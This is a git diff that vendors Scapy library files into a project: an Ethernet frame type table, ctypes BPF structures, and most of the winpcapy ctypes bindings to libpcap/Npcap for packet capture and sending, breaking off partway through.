WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)if_ether.h 8.1 (Berkeley) 6/10/93 + */ +""" + +# This file contains data automatically generated using +# scapy/tools/generate_ethertypes.py +# based on OpenBSD public source. + +DATA = b""" +# +# Ethernet frame types +# This file describes some of the various Ethernet +# protocol types that are used on Ethernet networks. +# +# This list could be found on: +# http://www.iana.org/assignments/ethernet-numbers +# http://www.iana.org/assignments/ieee-802-numbers +# +# ... #Comment +# +8023 0004 # IEEE 802.3 packet +PUP 0200 # Xerox PUP protocol - see 0A00 +PUPAT 0200 # PUP Address Translation - see 0A01 +NS 0600 # XNS +NSAT 0601 # XNS Address Translation (3Mb only) +DLOG1 0660 # DLOG (?) +DLOG2 0661 # DLOG (?) +IPv4 0800 # IP protocol +X75 0801 # X.75 Internet +NBS 0802 # NBS Internet +ECMA 0803 # ECMA Internet +CHAOS 0804 # CHAOSnet +X25 0805 # X.25 Level 3 +ARP 0806 # Address resolution protocol +FRARP 0808 # Frame Relay ARP (RFC1701) +VINES 0BAD # Banyan VINES +TRAIL 1000 # Trailer packet +DCA 1234 # DCA - Multicast +VALID 1600 # VALID system protocol +RCL 1995 # Datapoint Corporation (RCL lan protocol) +NBPCC 3C04 # 3Com NBP Connect complete not registered +NBPDG 3C07 # 3Com NBP Datagram (like XNS IDP) not registered +PCS 4242 # PCS Basic Block Protocol +IMLBL 4C42 # Information Modes Little Big LAN +MOPDL 6001 # DEC MOP dump/load +MOPRC 6002 # DEC MOP remote console +LAT 6004 # DEC LAT +SCA 6007 # DEC LAVC, SCA +AMBER 6008 # DEC AMBER +RAWFR 6559 # Raw Frame Relay (RFC1701) +UBDL 7000 # Ungermann-Bass download +UBNIU 7001 # Ungermann-Bass NIUs +UBNMC 7003 # Ungermann-Bass ??? (NMC to/from UB Bridge) +UBBST 7005 # Ungermann-Bass Bridge Spanning Tree +OS9 7007 # OS/9 Microware +RACAL 7030 # Racal-Interlan +HP 8005 # HP Probe +TIGAN 802F # Tigan, Inc. +DECAM 8048 # DEC Availability Manager for Distributed Systems DECamds (but someone at DEC says not) +VEXP 805B # Stanford V Kernel exp. +VPROD 805C # Stanford V Kernel prod. +ES 805D # Evans & Sutherland +VEECO 8067 # Veeco Integrated Auto. +ATT 8069 # AT&T +MATRA 807A # Matra +DDE 807B # Dansk Data Elektronik +MERIT 807C # Merit Internodal (or Univ of Michigan?) +ATALK 809B # AppleTalk +PACER 80C6 # Pacer Software +SNA 80D5 # IBM SNA Services over Ethernet +RETIX 80F2 # Retix +AARP 80F3 # AppleTalk AARP +VLAN 8100 # IEEE 802.1Q VLAN tagging (XXX conflicts) +BOFL 8102 # Wellfleet; BOFL (Breath OF Life) pkts [every 5-10 secs.] +HAYES 8130 # Hayes Microcomputers (XXX which?) +VGLAB 8131 # VG Laboratory Systems +IPX 8137 # Novell (old) NetWare IPX (ECONFIG E option) +MUMPS 813F # M/MUMPS data sharing +FLIP 8146 # Vrije Universiteit (NL) FLIP (Fast Local Internet Protocol) +NCD 8149 # Network Computing Devices +ALPHA 814A # Alpha Micro +SNMP 814C # SNMP over Ethernet (see RFC1089) +XTP 817D # Protocol Engines XTP +SGITW 817E # SGI/Time Warner prop. +STP 8181 # Scheduled Transfer STP, HIPPI-ST +IPv6 86DD # IP protocol version 6 +RDP 8739 # Control Technology Inc. RDP Without IP +MICP 873A # Control Technology Inc. Mcast Industrial Ctrl Proto. +IPAS 876C # IP Autonomous Systems (RFC1701) +SLOW 8809 # 803.3ad slow protocols (LACP/Marker) +PPP 880B # PPP (obsolete by PPPOE) +MPLS 8847 # MPLS Unicast +AXIS 8856 # Axis Communications AB proprietary bootstrap/config +PPPOE 8864 # PPP Over Ethernet Session Stage +PAE 888E # 802.1X Port Access Entity +AOE 88A2 # ATA over Ethernet +QINQ 88A8 # 802.1ad VLAN stacking +LLDP 88CC # Link Layer Discovery Protocol +PBB 88E7 # 802.1Q Provider Backbone Bridging +XNSSM 9001 # 3Com (Formerly Bridge Communications), XNS Systems Management +TCPSM 9002 # 3Com (Formerly Bridge Communications), TCP/IP Systems Management +DEBNI AAAA # DECNET? Used by VAX 6220 DEBNI +SONIX FAF5 # Sonix Arpeggio +VITAL FF00 # BBN VITAL-LanBridge cache wakeups +MAX FFFF # Maximum valid ethernet type, reserved +""" diff --git a/libs/scapy/libs/structures.py b/libs/scapy/libs/structures.py new file mode 100755 index 0000000..5575bb2 --- /dev/null +++ b/libs/scapy/libs/structures.py @@ -0,0 +1,23 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# This program is published under a GPLv2 license + +""" +Commonly used structures shared across Scapy +""" + +import ctypes + + +class bpf_insn(ctypes.Structure): + """"The BPF instruction data structure""" + _fields_ = [("code", ctypes.c_ushort), + ("jt", ctypes.c_ubyte), + ("jf", ctypes.c_ubyte), + ("k", ctypes.c_int)] + + +class bpf_program(ctypes.Structure): + """"Structure for BIOCSETF""" + _fields_ = [('bf_len', ctypes.c_int), + ('bf_insns', ctypes.POINTER(bpf_insn))] diff --git a/libs/scapy/libs/winpcapy.py b/libs/scapy/libs/winpcapy.py new file mode 100755 index 0000000..4555835 --- /dev/null +++ b/libs/scapy/libs/winpcapy.py @@ -0,0 +1,903 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Massimo Ciani (2009) +# Gabriel Potter (2016-2019) +# This program is published under a GPLv2 license + +# Modified for scapy's usage - To support Npcap/Monitor mode + + +from ctypes import * +from ctypes.util import find_library +import os + +from scapy.libs.structures import bpf_program +from scapy.consts import WINDOWS + +if WINDOWS: + # Try to load Npcap, or Winpcap + SOCKET = c_uint + npcap_folder = os.environ["WINDIR"] + "\\System32\\Npcap" + if os.path.exists(npcap_folder): + # Try to load npcap + os.environ['PATH'] = npcap_folder + ";" + os.environ['PATH'] + # Set DLL directory priority + windll.kernel32.SetDllDirectoryW(npcap_folder) + # Packet.dll is unused, but needs to overwrite the winpcap one if it + # exists + cdll.LoadLibrary(npcap_folder + "\\Packet.dll") + _lib = cdll.LoadLibrary(npcap_folder + "\\wpcap.dll") + else: + _lib = CDLL("wpcap.dll") + del npcap_folder +else: + # Try to load libpcap + SOCKET = c_int + _lib_name = find_library("pcap") + if not _lib_name: + raise OSError("Cannot find libpcap.so library") + _lib = CDLL(_lib_name) + + +## +# misc +## +u_short = c_ushort +bpf_int32 = c_int +u_int = c_int +bpf_u_int32 = u_int +pcap = c_void_p +pcap_dumper = c_void_p +u_char = c_ubyte +FILE = c_void_p +STRING = c_char_p + + +class bpf_version(Structure): + _fields_ = [("bv_major", c_ushort), + ("bv_minor", c_ushort)] + + +class timeval(Structure): + _fields_ = [('tv_sec', c_long), + ('tv_usec', c_long)] + + +# sockaddr is used by pcap_addr. +# For example if sa_family==socket.AF_INET then we need cast +# with sockaddr_in +if WINDOWS: + class sockaddr(Structure): + _fields_ = [("sa_family", c_ushort), + ("sa_data", c_ubyte * 14)] + + class sockaddr_in(Structure): + _fields_ = [("sin_family", c_ushort), + ("sin_port", c_uint16), + ("sin_addr", 4 * c_ubyte)] + + class sockaddr_in6(Structure): + _fields_ = [("sin6_family", c_ushort), + ("sin6_port", c_uint16), + ("sin6_flowinfo", c_uint32), + ("sin6_addr", 16 * c_ubyte), + ("sin6_scope", c_uint32)] +else: + class sockaddr(Structure): + _fields_ = [("sa_len", c_ubyte), + ("sa_family", c_ubyte), + ("sa_data", c_ubyte * 14)] + + class sockaddr_in(Structure): + _fields_ = [("sin_len", c_ubyte), + ("sin_family", c_ubyte), + ("sin_port", c_uint16), + ("sin_addr", 4 * c_ubyte), + ("sin_zero", 8 * c_char)] + + class sockaddr_in6(Structure): + _fields_ = [("sin6_len", c_ubyte), + ("sin6_family", c_ubyte), + ("sin6_port", c_uint16), + ("sin6_flowinfo", c_uint32), + ("sin6_addr", 16 * c_ubyte), + ("sin6_scope", c_uint32)] + + class sockaddr_dl(Structure): + _fields_ = [("sdl_len", c_ubyte), + ("sdl_family", c_ubyte), + ("sdl_index", c_ushort), + ("sdl_type", c_ubyte), + ("sdl_nlen", c_ubyte), + ("sdl_alen", c_ubyte), + ("sdl_slen", c_ubyte), + ("sdl_data", 46 * c_ubyte)] +## +# END misc +## + +## +# Data Structures +## + +# struct pcap_file_header +# Header of a libpcap dump file. + + +class pcap_file_header(Structure): + _fields_ = [('magic', bpf_u_int32), + ('version_major', u_short), + ('version_minor', u_short), + ('thiszone', bpf_int32), + ('sigfigs', bpf_u_int32), + ('snaplen', bpf_u_int32), + ('linktype', bpf_u_int32)] + +# struct pcap_pkthdr +# Header of a packet in the dump file. + + +class pcap_pkthdr(Structure): + _fields_ = [('ts', timeval), + ('caplen', bpf_u_int32), + ('len', bpf_u_int32)] + +# struct pcap_stat +# Structure that keeps statistical values on an interface. + + +class pcap_stat(Structure): + pass + + +# _fields_ list in Structure is final. +# We need a temp list +_tmpList = [("ps_recv", c_uint), ("ps_drop", c_uint), ("ps_ifdrop", c_uint)] +if WINDOWS: + _tmpList.append(("ps_capt", c_uint)) + _tmpList.append(("ps_sent", c_uint)) + _tmpList.append(("ps_netdrop", c_uint)) +pcap_stat._fields_ = _tmpList + +# struct pcap_addr +# Representation of an interface address, used by pcap_findalldevs(). + + +class pcap_addr(Structure): + pass + + +pcap_addr._fields_ = [('next', POINTER(pcap_addr)), + ('addr', POINTER(sockaddr)), + ('netmask', POINTER(sockaddr)), + ('broadaddr', POINTER(sockaddr)), + ('dstaddr', POINTER(sockaddr))] + +# struct pcap_if +# Item in a list of interfaces, used by pcap_findalldevs(). + + +class pcap_if(Structure): + pass + + +pcap_if._fields_ = [('next', POINTER(pcap_if)), + ('name', STRING), + ('description', STRING), + ('addresses', POINTER(pcap_addr)), + ('flags', bpf_u_int32)] + +## +# END Data Structures +## + +## +# Defines +## + + +# define PCAP_VERSION_MAJOR 2 +# Major libpcap dump file version. +PCAP_VERSION_MAJOR = 2 +# define PCAP_VERSION_MINOR 4 +# Minor libpcap dump file version. +PCAP_VERSION_MINOR = 4 +# define PCAP_ERRBUF_SIZE 256 +# Size to use when allocating the buffer that contains the libpcap errors. +PCAP_ERRBUF_SIZE = 256 +# define PCAP_IF_LOOPBACK 0x00000001 +# interface is loopback +PCAP_IF_LOOPBACK = 1 +# define MODE_CAPT 0 +# Capture mode, to be used when calling pcap_setmode(). +MODE_CAPT = 0 +# define MODE_STAT 1 +# Statistical mode, to be used when calling pcap_setmode(). +MODE_STAT = 1 + +## +# END Defines +## + +## +# Typedefs +## + +# typedef int bpf_int32 (already defined) +# 32-bit integer +# typedef u_int bpf_u_int32 (already defined) +# 32-bit unsigned integer +# typedef struct pcap pcap_t +# Descriptor of an open capture instance. This structure is opaque to the +# user, that handles its content through the functions provided by +# wpcap.dll. +pcap_t = pcap +# typedef struct pcap_dumper pcap_dumper_t +# libpcap savefile descriptor. +pcap_dumper_t = pcap_dumper +# typedef struct pcap_if pcap_if_t +# Item in a list of interfaces, see pcap_if. +pcap_if_t = pcap_if +# typedef struct pcap_addr pcap_addr_t +# Representation of an interface address, see pcap_addr. +pcap_addr_t = pcap_addr + +## +# END Typedefs +## + + +# values for enumeration 'pcap_direction_t' +# pcap_direction_t = c_int # enum + +## +# Unix-compatible Functions +# These functions are part of the libpcap library, and therefore work both on Windows and on Linux. +## + +# typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) +# Prototype of the callback function that receives the packets. +# This one is defined from programmer +pcap_handler = CFUNCTYPE( + None, + POINTER(c_ubyte), + POINTER(pcap_pkthdr), + POINTER(c_ubyte) +) + +# pcap_t * pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf) +# Open a live capture from the network. +pcap_open_live = _lib.pcap_open_live +pcap_open_live.restype = POINTER(pcap_t) +pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING] + +# pcap_t * pcap_open_dead (int linktype, int snaplen) +# Create a pcap_t structure without starting a capture. +pcap_open_dead = _lib.pcap_open_dead +pcap_open_dead.restype = POINTER(pcap_t) +pcap_open_dead.argtypes = [c_int, c_int] + +# pcap_t * pcap_open_offline (const char *fname, char *errbuf) +# Open a savefile in the tcpdump/libpcap format to read packets. +pcap_open_offline = _lib.pcap_open_offline +pcap_open_offline.restype = POINTER(pcap_t) +pcap_open_offline.argtypes = [STRING, STRING] + +try: + # NPCAP/LINUX ONLY function + # int pcap_set_rfmon (pcap_t *p) + # sets whether monitor mode should be set on a capture handle when the + # handle is activated. + pcap_set_rfmon = _lib.pcap_set_rfmon + pcap_set_rfmon.restype = c_int + pcap_set_rfmon.argtypes = [POINTER(pcap_t), c_int] + + # int pcap_create (pcap_t *p) + # create a packet capture handle to look at packets on the network. + pcap_create = _lib.pcap_create + pcap_create.restype = POINTER(pcap_t) + pcap_create.argtypes = [STRING, STRING] + + # int pcap_set_snaplen(pcap_t *p, int snaplen) + # set the snapshot length for a not-yet-activated capture handle + pcap_set_snaplen = _lib.pcap_set_snaplen + pcap_set_snaplen.restype = c_int + pcap_set_snaplen.argtypes = [POINTER(pcap_t), c_int] + + # int pcap_set_promisc(pcap_t *p, int promisc) + # set promiscuous mode for a not-yet-activated capture handle + pcap_set_promisc = _lib.pcap_set_promisc + pcap_set_promisc.restype = c_int + pcap_set_promisc.argtypes = [POINTER(pcap_t), c_int] + + # int pcap_set_timeout(pcap_t *p, int to_ms) + # set the packet buffer timeout for a not-yet-activated capture handle + pcap_set_timeout = _lib.pcap_set_timeout + pcap_set_timeout.restype = c_int + pcap_set_timeout.argtypes = [POINTER(pcap_t), c_int] + + # int pcap_activate(pcap_t *p) + # activate a capture handle + pcap_activate = _lib.pcap_activate + pcap_activate.restype = c_int + pcap_activate.argtypes = [POINTER(pcap_t)] +except AttributeError: + pass + +# pcap_dumper_t * pcap_dump_open (pcap_t *p, const char *fname) +# Open a file to write packets. +pcap_dump_open = _lib.pcap_dump_open +pcap_dump_open.restype = POINTER(pcap_dumper_t) +pcap_dump_open.argtypes = [POINTER(pcap_t), STRING] + +# int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf) +# Switch between blocking and nonblocking mode. +pcap_setnonblock = _lib.pcap_setnonblock +pcap_setnonblock.restype = c_int +pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING] + +# int pcap_getnonblock (pcap_t *p, char *errbuf) +# Get the "non-blocking" state of an interface. +pcap_getnonblock = _lib.pcap_getnonblock +pcap_getnonblock.restype = c_int +pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING] + +# int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf) +# Construct a list of network devices that can be opened with +# pcap_open_live(). +pcap_findalldevs = _lib.pcap_findalldevs +pcap_findalldevs.restype = c_int +pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING] + +# void pcap_freealldevs (pcap_if_t *alldevsp) +# Free an interface list returned by pcap_findalldevs(). +pcap_freealldevs = _lib.pcap_freealldevs +pcap_freealldevs.restype = None +pcap_freealldevs.argtypes = [POINTER(pcap_if_t)] + +# char * pcap_lookupdev (char *errbuf) +# Return the first valid device in the system. +pcap_lookupdev = _lib.pcap_lookupdev +pcap_lookupdev.restype = STRING +pcap_lookupdev.argtypes = [STRING] + +# int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) +# Return the subnet and netmask of an interface. +pcap_lookupnet = _lib.pcap_lookupnet +pcap_lookupnet.restype = c_int +pcap_lookupnet.argtypes = [ + STRING, + POINTER(bpf_u_int32), + POINTER(bpf_u_int32), + STRING +] + +# int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user) +# Collect a group of packets. +pcap_dispatch = _lib.pcap_dispatch +pcap_dispatch.restype = c_int +pcap_dispatch.argtypes = [ + POINTER(pcap_t), + c_int, + pcap_handler, + POINTER(u_char) +] + +# int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user) +# Collect a group of packets. +pcap_loop = _lib.pcap_loop +pcap_loop.restype = c_int +pcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] + +# u_char * pcap_next (pcap_t *p, struct pcap_pkthdr *h) +# Return the next available packet. +pcap_next = _lib.pcap_next +pcap_next.restype = POINTER(u_char) +pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)] + +# int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data) +# Read a packet from an interface or from an offline capture. +pcap_next_ex = _lib.pcap_next_ex +pcap_next_ex.restype = c_int +pcap_next_ex.argtypes = [ + POINTER(pcap_t), + POINTER( + POINTER(pcap_pkthdr) + ), + POINTER( + POINTER(u_char) + ) +] + +# void pcap_breakloop (pcap_t *) +# set a flag that will force pcap_dispatch() or pcap_loop() to return +# rather than looping. +pcap_breakloop = _lib.pcap_breakloop +pcap_breakloop.restype = None +pcap_breakloop.argtypes = [POINTER(pcap_t)] + +# int pcap_sendpacket (pcap_t *p, u_char *buf, int size) +# Send a raw packet. +pcap_sendpacket = _lib.pcap_sendpacket +pcap_sendpacket.restype = c_int +# pcap_sendpacket.argtypes = [POINTER(pcap_t), POINTER(u_char), c_int] +pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int] + +# void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp) +# Save a packet to disk. +pcap_dump = _lib.pcap_dump +pcap_dump.restype = None +pcap_dump.argtypes = [ + POINTER(pcap_dumper_t), + POINTER(pcap_pkthdr), + POINTER(u_char) +] + +# long pcap_dump_ftell (pcap_dumper_t *) +# Return the file position for a "savefile". +pcap_dump_ftell = _lib.pcap_dump_ftell +pcap_dump_ftell.restype = c_long +pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)] + +# int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) +# Compile a packet filter, converting an high level filtering expression +# (see Filtering expression syntax) in a program that can be interpreted +# by the kernel-level filtering engine. +pcap_compile = _lib.pcap_compile +pcap_compile.restype = c_int +pcap_compile.argtypes = [ + POINTER(pcap_t), + POINTER(bpf_program), + STRING, + c_int, + bpf_u_int32] + +# int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask) +# Compile a packet filter without the need of opening an adapter. This +# function converts an high level filtering expression (see Filtering +# expression syntax) in a program that can be interpreted by the +# kernel-level filtering engine. +pcap_compile_nopcap = _lib.pcap_compile_nopcap +pcap_compile_nopcap.restype = c_int +pcap_compile_nopcap.argtypes = [ + c_int, + c_int, + POINTER(bpf_program), + STRING, + c_int, + bpf_u_int32 +] + +# int pcap_setfilter (pcap_t *p, struct bpf_program *fp) +# Associate a filter to a capture. +pcap_setfilter = _lib.pcap_setfilter +pcap_setfilter.restype = c_int +pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)] + +# void pcap_freecode (struct bpf_program *fp) +# Free a filter. +pcap_freecode = _lib.pcap_freecode +pcap_freecode.restype = None +pcap_freecode.argtypes = [POINTER(bpf_program)] + +# int pcap_datalink (pcap_t *p) +# Return the link layer of an adapter. +pcap_datalink = _lib.pcap_datalink +pcap_datalink.restype = c_int +pcap_datalink.argtypes = [POINTER(pcap_t)] + +# int pcap_list_datalinks (pcap_t *p, int **dlt_buf) +# list datalinks +pcap_list_datalinks = _lib.pcap_list_datalinks +pcap_list_datalinks.restype = c_int +# pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))] + +# int pcap_set_datalink (pcap_t *p, int dlt) +# Set the current data link type of the pcap descriptor to the type +# specified by dlt. -1 is returned on failure. +pcap_set_datalink = _lib.pcap_set_datalink +pcap_set_datalink.restype = c_int +pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int] + +# int pcap_datalink_name_to_val (const char *name) +# Translates a data link type name, which is a DLT_ name with the DLT_ +# removed, to the corresponding data link type value. The translation is +# case-insensitive. -1 is returned on failure. +pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val +pcap_datalink_name_to_val.restype = c_int +pcap_datalink_name_to_val.argtypes = [STRING] + +# const char * pcap_datalink_val_to_name (int dlt) +# Translates a data link type value to the corresponding data link type +# name. NULL is returned on failure. +pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name +pcap_datalink_val_to_name.restype = STRING +pcap_datalink_val_to_name.argtypes = [c_int] + +# const char * pcap_datalink_val_to_description (int dlt) +# Translates a data link type value to a short description of that data +# link type. NULL is returned on failure. +pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description +pcap_datalink_val_to_description.restype = STRING +pcap_datalink_val_to_description.argtypes = [c_int] + +# int pcap_snapshot (pcap_t *p) +# Return the dimension of the packet portion (in bytes) that is delivered +# to the application. +pcap_snapshot = _lib.pcap_snapshot +pcap_snapshot.restype = c_int +pcap_snapshot.argtypes = [POINTER(pcap_t)] + +# int pcap_is_swapped (pcap_t *p) +# returns true if the current savefile uses a different byte order than +# the current system. +pcap_is_swapped = _lib.pcap_is_swapped +pcap_is_swapped.restype = c_int +pcap_is_swapped.argtypes = [POINTER(pcap_t)] + +# int pcap_major_version (pcap_t *p) +# return the major version number of the pcap library used to write the +# savefile. +pcap_major_version = _lib.pcap_major_version +pcap_major_version.restype = c_int +pcap_major_version.argtypes = [POINTER(pcap_t)] + +# int pcap_minor_version (pcap_t *p) +# return the minor version number of the pcap library used to write the +# savefile. +pcap_minor_version = _lib.pcap_minor_version +pcap_minor_version.restype = c_int +pcap_minor_version.argtypes = [POINTER(pcap_t)] + +# FILE * pcap_file (pcap_t *p) +# Return the standard stream of an offline capture. +pcap_file = _lib.pcap_file +pcap_file.restype = FILE +pcap_file.argtypes = [POINTER(pcap_t)] + +# int pcap_stats (pcap_t *p, struct pcap_stat *ps) +# Return statistics on current capture. +pcap_stats = _lib.pcap_stats +pcap_stats.restype = c_int +pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)] + +# void pcap_perror (pcap_t *p, char *prefix) +# print the text of the last pcap library error on stderr, prefixed by +# prefix. +pcap_perror = _lib.pcap_perror +pcap_perror.restype = None +pcap_perror.argtypes = [POINTER(pcap_t), STRING] + +# char * pcap_geterr (pcap_t *p) +# return the error text pertaining to the last pcap library error. +pcap_geterr = _lib.pcap_geterr +pcap_geterr.restype = STRING +pcap_geterr.argtypes = [POINTER(pcap_t)] + +# char * pcap_strerror (int error) +# Provided in case strerror() isn't available. +pcap_strerror = _lib.pcap_strerror +pcap_strerror.restype = STRING +pcap_strerror.argtypes = [c_int] + +# const char * pcap_lib_version (void) +# Returns a pointer to a string giving information about the version of +# the libpcap library being used; note that it contains more information +# than just a version number. +pcap_lib_version = _lib.pcap_lib_version +pcap_lib_version.restype = STRING +pcap_lib_version.argtypes = [] + +# void pcap_close (pcap_t *p) +# close the files associated with p and deallocates resources. +pcap_close = _lib.pcap_close +pcap_close.restype = None +pcap_close.argtypes = [POINTER(pcap_t)] + +# FILE * pcap_dump_file (pcap_dumper_t *p) +# return the standard I/O stream of the 'savefile' opened by +# pcap_dump_open(). +pcap_dump_file = _lib.pcap_dump_file +pcap_dump_file.restype = FILE +pcap_dump_file.argtypes = [POINTER(pcap_dumper_t)] + +# int pcap_dump_flush (pcap_dumper_t *p) +# Flushes the output buffer to the ``savefile,'' so that any packets +# written with pcap_dump() but not yet written to the ``savefile'' will be +# written. -1 is returned on error, 0 on success. +pcap_dump_flush = _lib.pcap_dump_flush +pcap_dump_flush.restype = c_int +pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)] + +# void pcap_dump_close (pcap_dumper_t *p) +# Closes a savefile. +pcap_dump_close = _lib.pcap_dump_close +pcap_dump_close.restype = None +pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)] + +if not WINDOWS: + # int pcap_get_selectable_fd(pcap_t, *p) + # Returns, on UNIX, a file descriptor number for a file descriptor on + # which one can do a select(), poll(). -1 is returned if no such + # descriptor exists. + pcap_get_selectable_fd = _lib.pcap_get_selectable_fd + pcap_get_selectable_fd.restype = c_int + pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)] + +########################################### +# Windows-specific Extensions +# The functions in this section extend libpcap to offer advanced functionalities +# (like remote packet capture, packet buffer size variation or high-precision packet injection). +# However, at the moment they can be used only in Windows. +########################################### +if WINDOWS: + HANDLE = c_void_p + + ############## + # Identifiers related to the new source syntax + ############## + # define PCAP_SRC_FILE 2 + # define PCAP_SRC_IFLOCAL 3 + # define PCAP_SRC_IFREMOTE 4 + # Internal representation of the type of source in use (file, remote/local + # interface). + PCAP_SRC_FILE = 2 + PCAP_SRC_IFLOCAL = 3 + PCAP_SRC_IFREMOTE = 4 + + ############## + # Strings related to the new source syntax + ############## + # define PCAP_SRC_FILE_STRING "file://" + # define PCAP_SRC_IF_STRING "rpcap://" + # String that will be used to determine the type of source in use (file, + # remote/local interface). + PCAP_SRC_FILE_STRING = "file://" + PCAP_SRC_IF_STRING = "rpcap://" + + ############## + # Flags defined in the pcap_open() function + ############## + # define PCAP_OPENFLAG_PROMISCUOUS 1 + # Defines if the adapter has to go in promiscuous mode. + PCAP_OPENFLAG_PROMISCUOUS = 1 + # define PCAP_OPENFLAG_DATATX_UDP 2 + # Defines if the data transfer (in case of a remote capture) has to be + # done with UDP protocol. + PCAP_OPENFLAG_DATATX_UDP = 2 + # define PCAP_OPENFLAG_NOCAPTURE_RPCAP 4 + PCAP_OPENFLAG_NOCAPTURE_RPCAP = 4 + # Defines if the remote probe will capture its own generated traffic. + # define PCAP_OPENFLAG_NOCAPTURE_LOCAL 8 + PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8 + # define PCAP_OPENFLAG_MAX_RESPONSIVENESS 16 + # This flag configures the adapter for maximum responsiveness. + PCAP_OPENFLAG_MAX_RESPONSIVENESS = 16 + + ############## + # Sampling methods defined in the pcap_setsampling() function + ############## + # define PCAP_SAMP_NOSAMP 0 + # No sampling has to be done on the current capture. + PCAP_SAMP_NOSAMP = 0 + # define PCAP_SAMP_1_EVERY_N 1 + # It defines that only 1 out of N packets must be returned to the user. + PCAP_SAMP_1_EVERY_N = 1 + # define PCAP_SAMP_FIRST_AFTER_N_MS 2 + # It defines that we have to return 1 packet every N milliseconds. + PCAP_SAMP_FIRST_AFTER_N_MS = 2 + + ############## + # Authentication methods supported by the RPCAP protocol + ############## + # define RPCAP_RMTAUTH_NULL 0 + # It defines the NULL authentication. + RPCAP_RMTAUTH_NULL = 0 + # define RPCAP_RMTAUTH_PWD 1 + # It defines the username/password authentication. + RPCAP_RMTAUTH_PWD = 1 + + ############## + # Remote struct and defines + ############## + # define PCAP_BUF_SIZE 1024 + # Defines the maximum buffer size in which address, port, interface names + # are kept. + PCAP_BUF_SIZE = 1024 + # define RPCAP_HOSTLIST_SIZE 1024 + # Maximum length of an host name (needed for the RPCAP active mode). + RPCAP_HOSTLIST_SIZE = 1024 + + class pcap_send_queue(Structure): + _fields_ = [("maxlen", c_uint), + ("len", c_uint), + ("buffer", c_char_p)] + + # struct pcap_rmtauth + # This structure keeps the information needed to autheticate the user on a + # remote machine + class pcap_rmtauth(Structure): + _fields_ = [("type", c_int), + ("username", c_char_p), + ("password", c_char_p)] + + # struct pcap_samp + # This structure defines the information related to sampling + class pcap_samp(Structure): + _fields_ = [("method", c_int), + ("value", c_int)] + + # PAirpcapHandle pcap_get_airpcap_handle (pcap_t *p) + # Returns the AirPcap handler associated with an adapter. This handler can + # be used to change the wireless-related settings of the CACE Technologies + # AirPcap wireless capture adapters. + + # bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data) + # Returns if a given filter applies to an offline packet. + pcap_offline_filter = _lib.pcap_offline_filter + pcap_offline_filter.restype = c_bool + pcap_offline_filter.argtypes = [ + POINTER(bpf_program), + POINTER(pcap_pkthdr), + POINTER(u_char) + ] + + # int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks) + # Save a capture to file. + pcap_live_dump = _lib.pcap_live_dump + pcap_live_dump.restype = c_int + pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int, c_int] + + # int pcap_live_dump_ended (pcap_t *p, int sync) + # Return the status of the kernel dump process, i.e. tells if one of the + # limits defined with pcap_live_dump() has been reached. + pcap_live_dump_ended = _lib.pcap_live_dump_ended + pcap_live_dump_ended.restype = c_int + pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int] + + # struct pcap_stat * pcap_stats_ex (pcap_t *p, int *pcap_stat_size) + # Return statistics on current capture. + pcap_stats_ex = _lib.pcap_stats_ex + pcap_stats_ex.restype = POINTER(pcap_stat) + pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)] + + # int pcap_setbuff (pcap_t *p, int dim) + # Set the size of the kernel buffer associated with an adapter. + pcap_setbuff = _lib.pcap_setbuff + pcap_setbuff.restype = c_int + 